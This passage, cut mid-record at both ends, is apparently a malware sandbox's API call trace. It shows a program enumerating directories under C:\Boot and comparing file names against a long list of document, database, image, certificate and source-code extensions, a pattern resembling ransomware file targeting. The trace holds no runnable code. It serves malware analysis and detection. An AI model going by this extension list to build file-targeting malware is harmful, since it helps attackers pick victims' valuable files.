hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.887] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.887] FindClose (in: hFindFile=0x611148 | out: hFindFile=0x611148) returned 1 [0203.887] FindNextFileW (in: hFindFile=0x611088, lpFindFileData=0x349fa84 | out: lpFindFileData=0x349fa84) returned 1 [0203.887] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 0x611148 [0203.887] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0203.887] FindNextFileW (in: hFindFile=0x611148, lpFindFileData=0x349f808 | out: lpFindFileData=0x349f808) returned 1 [0212.256] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0212.256] lstrlenW (lpString=".3ds") returned 4 [0212.256] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0212.256] lstrlenW (lpString=".3fr") returned 4 [0212.256] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0212.256] lstrlenW (lpString=".3g2") returned 4 [0212.256] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0212.256] lstrlenW (lpString=".3gp") returned 4 [0212.256] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0212.256] lstrlenW (lpString=".7z") returned 3 [0212.256] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0212.256] lstrlenW (lpString=".accda") returned 6 [0212.257] lstrcmpiW (lpString1=".accda", lpString2="cy.xml") returned -1 [0212.257] lstrlenW (lpString=".accdb") returned 6 [0212.257] lstrcmpiW (lpString1=".accdb", lpString2="cy.xml") returned -1 [0212.257] lstrlenW (lpString=".accdc") returned 6 [0212.257] lstrcmpiW (lpString1=".accdc", lpString2="cy.xml") returned -1 [0212.257] lstrlenW (lpString=".accde") returned 6 [0212.257] lstrcmpiW (lpString1=".accde", lpString2="cy.xml") returned -1 [0212.257] lstrlenW (lpString=".accdt") returned 6 [0212.257] lstrcmpiW (lpString1=".accdt", lpString2="cy.xml") returned -1 [0212.257] lstrlenW (lpString=".accdw") returned 6 [0212.257] lstrcmpiW (lpString1=".accdw", lpString2="cy.xml") returned -1 [0212.257] lstrlenW (lpString=".adb") returned 4 [0212.257] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".adp") returned 4 [0212.257] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".ai") returned 3 [0212.257] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0212.257] lstrlenW (lpString=".ai3") returned 4 [0212.257] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".ai4") returned 4 [0212.257] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".ai5") returned 4 [0212.257] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".ai6") returned 4 [0212.257] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".ai7") returned 4 [0212.257] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".ai8") returned 4 [0212.257] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".anim") returned 5 [0212.257] lstrcmpiW (lpString1=".anim", lpString2="y.xml") returned -1 [0212.257] lstrlenW (lpString=".arw") returned 4 [0212.257] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".as") returned 3 [0212.257] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0212.257] lstrlenW (lpString=".asa") returned 4 [0212.257] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".asc") returned 4 [0212.257] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".ascx") returned 5 [0212.257] lstrcmpiW (lpString1=".ascx", lpString2="y.xml") returned -1 [0212.257] lstrlenW (lpString=".asm") returned 4 [0212.257] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".asmx") returned 5 [0212.257] lstrcmpiW (lpString1=".asmx", lpString2="y.xml") returned -1 [0212.257] lstrlenW (lpString=".asp") returned 4 [0212.257] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0212.257] lstrlenW (lpString=".aspx") returned 5 [0212.257] lstrcmpiW (lpString1=".aspx", lpString2="y.xml") returned -1 [0212.258] lstrlenW (lpString=".asr") returned 4 [0212.258] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".asx") returned 4 [0212.258] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".avi") returned 4 [0212.258] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".avs") returned 4 [0212.258] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".backup") returned 7 [0212.258] lstrcmpiW (lpString1=".backup", lpString2="ncy.xml") returned -1 [0212.258] lstrlenW (lpString=".bak") returned 4 [0212.258] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".bay") returned 4 [0212.258] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".bd") returned 3 [0212.258] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0212.258] lstrlenW (lpString=".bin") returned 4 [0212.258] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".bmp") returned 4 [0212.258] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".bz2") returned 4 [0212.258] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".c") returned 2 [0212.258] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0212.258] lstrlenW (lpString=".cdr") returned 4 [0212.258] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".cer") returned 4 [0212.258] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".cf") returned 3 [0212.258] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0212.258] lstrlenW (lpString=".cfc") returned 4 [0212.258] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".cfm") returned 4 [0212.258] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".cfml") returned 5 [0212.258] lstrcmpiW (lpString1=".cfml", lpString2="y.xml") returned -1 [0212.258] lstrlenW (lpString=".cfu") returned 4 [0212.258] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".chm") returned 4 [0212.258] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".cin") returned 4 [0212.258] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".class") returned 6 [0212.258] lstrcmpiW (lpString1=".class", lpString2="cy.xml") returned -1 [0212.258] lstrlenW (lpString=".clx") returned 4 [0212.258] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0212.258] lstrlenW (lpString=".config") returned 7 [0212.258] lstrcmpiW (lpString1=".config", lpString2="ncy.xml") returned -1 [0212.258] lstrlenW (lpString=".cpp") returned 4 [0212.258] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".cr2") returned 4 [0212.259] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".crt") returned 4 [0212.259] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".crw") returned 4 [0212.259] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".cs") returned 3 [0212.259] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0212.259] lstrlenW (lpString=".css") returned 4 [0212.259] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".csv") returned 4 [0212.259] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".cub") returned 4 [0212.259] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dae") returned 4 [0212.259] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dat") returned 4 [0212.259] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".db") returned 3 [0212.259] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0212.259] lstrlenW (lpString=".dbf") returned 4 [0212.259] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dbx") returned 4 [0212.259] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dc3") returned 4 [0212.259] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dcm") returned 4 [0212.259] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dcr") returned 4 [0212.259] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".der") returned 4 [0212.259] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dib") returned 4 [0212.259] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dic") returned 4 [0212.259] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".dif") returned 4 [0212.259] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".divx") returned 5 [0212.259] lstrcmpiW (lpString1=".divx", lpString2="y.xml") returned -1 [0212.259] lstrlenW (lpString=".djvu") returned 5 [0212.259] lstrcmpiW (lpString1=".djvu", lpString2="y.xml") returned -1 [0212.259] lstrlenW (lpString=".dng") returned 4 [0212.259] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".doc") returned 4 [0212.259] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0212.259] lstrlenW (lpString=".docm") returned 5 [0212.259] lstrcmpiW (lpString1=".docm", lpString2="y.xml") returned -1 [0212.259] lstrlenW (lpString=".docx") returned 5 [0212.259] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0212.259] lstrlenW (lpString=".dot") returned 4 [0212.259] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".dotm") returned 5 [0212.260] lstrcmpiW (lpString1=".dotm", lpString2="y.xml") returned -1 [0212.260] lstrlenW (lpString=".dotx") returned 5 [0212.260] lstrcmpiW (lpString1=".dotx", lpString2="y.xml") returned -1 [0212.260] lstrlenW (lpString=".dpx") returned 4 [0212.260] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".dqy") returned 4 [0212.260] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".dsn") returned 4 [0212.260] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".dt") returned 3 [0212.260] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0212.260] lstrlenW (lpString=".dtd") returned 4 [0212.260] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".dwg") returned 4 [0212.260] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".dwt") returned 4 [0212.260] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".dx") returned 3 [0212.260] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0212.260] lstrlenW (lpString=".dxf") returned 4 [0212.260] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".edml") returned 5 [0212.260] lstrcmpiW (lpString1=".edml", lpString2="y.xml") returned -1 [0212.260] lstrlenW (lpString=".efd") returned 4 [0212.260] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".elf") returned 4 [0212.260] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".emf") returned 4 [0212.260] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".emz") returned 4 [0212.260] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".epf") returned 4 [0212.260] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".eps") returned 4 [0212.260] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".epsf") returned 5 [0212.260] lstrcmpiW (lpString1=".epsf", lpString2="y.xml") returned -1 [0212.260] lstrlenW (lpString=".epsp") returned 5 [0212.260] lstrcmpiW (lpString1=".epsp", lpString2="y.xml") returned -1 [0212.260] lstrlenW (lpString=".erf") returned 4 [0212.260] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".exr") returned 4 [0212.260] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".f4v") returned 4 [0212.260] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".fido") returned 5 [0212.260] lstrcmpiW (lpString1=".fido", lpString2="y.xml") returned -1 [0212.260] lstrlenW (lpString=".flm") returned 4 [0212.260] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0212.260] lstrlenW (lpString=".flv") returned 4 [0212.261] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".frm") returned 4 [0212.261] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".fxg") returned 4 [0212.261] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".geo") returned 4 [0212.261] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".gif") returned 4 [0212.261] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".grs") returned 4 [0212.261] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".gz") returned 3 [0212.261] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0212.261] lstrlenW (lpString=".h") returned 2 [0212.261] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0212.261] lstrlenW (lpString=".hdr") returned 4 [0212.261] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".hpp") returned 4 [0212.261] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".hta") returned 4 [0212.261] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".htc") returned 4 [0212.261] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".htm") returned 4 [0212.261] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".html") returned 5 [0212.261] lstrcmpiW (lpString1=".html", lpString2="y.xml") returned -1 [0212.261] lstrlenW (lpString=".icb") returned 4 [0212.261] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".ics") returned 4 [0212.261] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".iff") returned 4 [0212.261] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".inc") returned 4 [0212.261] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".indd") returned 5 [0212.261] lstrcmpiW (lpString1=".indd", lpString2="y.xml") returned -1 [0212.261] lstrlenW (lpString=".ini") returned 4 [0212.261] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".iqy") returned 4 [0212.261] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".j2c") returned 4 [0212.261] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".j2k") returned 4 [0212.261] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".java") returned 5 [0212.261] lstrcmpiW (lpString1=".java", lpString2="y.xml") returned -1 [0212.261] lstrlenW (lpString=".jp2") returned 4 [0212.261] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".jpc") returned 4 [0212.261] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0212.261] lstrlenW (lpString=".jpe") returned 4 [0212.262] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".jpeg") returned 5 [0212.262] lstrcmpiW (lpString1=".jpeg", lpString2="y.xml") returned -1 [0212.262] lstrlenW (lpString=".jpf") returned 4 [0212.262] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".jpg") returned 4 [0212.262] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".jpx") returned 4 [0212.262] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".js") returned 3 [0212.262] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0212.262] lstrlenW (lpString=".jsf") returned 4 [0212.262] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".json") returned 5 [0212.262] lstrcmpiW (lpString1=".json", lpString2="y.xml") returned -1 [0212.262] lstrlenW (lpString=".jsp") returned 4 [0212.262] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".kdc") returned 4 [0212.262] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".kmz") returned 4 [0212.262] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".kwm") returned 4 [0212.262] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".lasso") returned 6 [0212.262] lstrcmpiW (lpString1=".lasso", lpString2="cy.xml") returned -1 [0212.262] lstrlenW (lpString=".lbi") returned 4 [0212.262] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".lgf") returned 4 [0212.262] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".lgp") returned 4 [0212.262] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".log") returned 4 [0212.262] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".m1v") returned 4 [0212.262] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".m4a") returned 4 [0212.262] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0212.262] lstrlenW (lpString=".m4v") returned 4 [0212.262] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".max") returned 4 [0212.263] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".md") returned 3 [0212.263] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0212.263] lstrlenW (lpString=".mda") returned 4 [0212.263] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mdb") returned 4 [0212.263] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mde") returned 4 [0212.263] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mdf") returned 4 [0212.263] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mdw") returned 4 [0212.263] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mef") returned 4 [0212.263] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mft") returned 4 [0212.263] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mfw") returned 4 [0212.263] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mht") returned 4 [0212.263] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mhtml") returned 6 [0212.263] lstrcmpiW (lpString1=".mhtml", lpString2="cy.xml") returned -1 [0212.263] lstrlenW (lpString=".mka") returned 4 [0212.263] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mkidx") returned 6 [0212.263] lstrcmpiW (lpString1=".mkidx", lpString2="cy.xml") returned -1 [0212.263] lstrlenW (lpString=".mkv") returned 4 [0212.263] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mos") returned 4 [0212.263] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mov") returned 4 [0212.263] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mp3") returned 4 [0212.263] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mp4") returned 4 [0212.263] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mpeg") returned 5 [0212.263] lstrcmpiW (lpString1=".mpeg", lpString2="y.xml") returned -1 [0212.263] lstrlenW (lpString=".mpg") returned 4 [0212.263] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mpv") returned 4 [0212.263] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mrw") returned 4 [0212.263] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".msg") returned 4 [0212.263] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".mxl") returned 4 [0212.263] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0212.263] lstrlenW (lpString=".myd") returned 4 [0212.264] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".myi") returned 4 [0212.264] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".nef") returned 4 [0212.264] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".nrw") returned 4 [0212.264] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".obj") returned 4 [0212.264] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".odb") returned 4 [0212.264] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".odc") returned 4 [0212.264] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".odm") returned 4 [0212.264] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".odp") returned 4 [0212.264] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".ods") returned 4 [0212.264] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".oft") returned 4 [0212.264] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".one") returned 4 [0212.264] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".onepkg") returned 7 [0212.264] lstrcmpiW (lpString1=".onepkg", lpString2="ncy.xml") returned -1 [0212.264] lstrlenW (lpString=".onetoc2") returned 8 [0212.264] lstrcmpiW (lpString1=".onetoc2", lpString2="ency.xml") returned -1 [0212.264] lstrlenW (lpString=".opt") returned 4 [0212.264] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".oqy") returned 4 [0212.264] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".orf") returned 4 [0212.264] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".p12") returned 4 [0212.264] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".p7b") returned 4 [0212.264] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".p7c") returned 4 [0212.264] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".pam") returned 4 [0212.264] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".pbm") returned 4 [0212.264] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".pct") returned 4 [0212.264] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".pcx") returned 4 [0212.264] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".pdd") returned 4 [0212.264] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".pdf") returned 4 [0212.264] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0212.264] lstrlenW (lpString=".pdp") returned 4 [0212.265] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pef") returned 4 [0212.265] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pem") returned 4 [0212.265] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pff") returned 4 [0212.265] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pfm") returned 4 [0212.265] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pfx") returned 4 [0212.265] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pgm") returned 4 [0212.265] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".php") returned 4 [0212.265] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".php3") returned 5 [0212.265] lstrcmpiW (lpString1=".php3", lpString2="y.xml") returned -1 [0212.265] lstrlenW (lpString=".php4") returned 5 [0212.265] lstrcmpiW (lpString1=".php4", lpString2="y.xml") returned -1 [0212.265] lstrlenW (lpString=".php5") returned 5 [0212.265] lstrcmpiW (lpString1=".php5", lpString2="y.xml") returned -1 [0212.265] lstrlenW (lpString=".phtml") returned 6 [0212.265] lstrcmpiW (lpString1=".phtml", lpString2="cy.xml") returned -1 [0212.265] lstrlenW (lpString=".pict") returned 5 [0212.265] lstrcmpiW (lpString1=".pict", lpString2="y.xml") returned -1 [0212.265] lstrlenW (lpString=".pl") returned 3 [0212.265] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0212.265] lstrlenW (lpString=".pls") returned 4 [0212.265] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pm") returned 3 [0212.265] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0212.265] lstrlenW (lpString=".png") returned 4 [0212.265] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pnm") returned 4 [0212.265] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".pot") returned 4 [0212.265] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0212.265] lstrlenW (lpString=".potm") returned 5 [0212.265] lstrcmpiW (lpString1=".potm", lpString2="y.xml") returned -1 [0212.265] lstrlenW (lpString=".potx") returned 5 [0212.265] lstrcmpiW 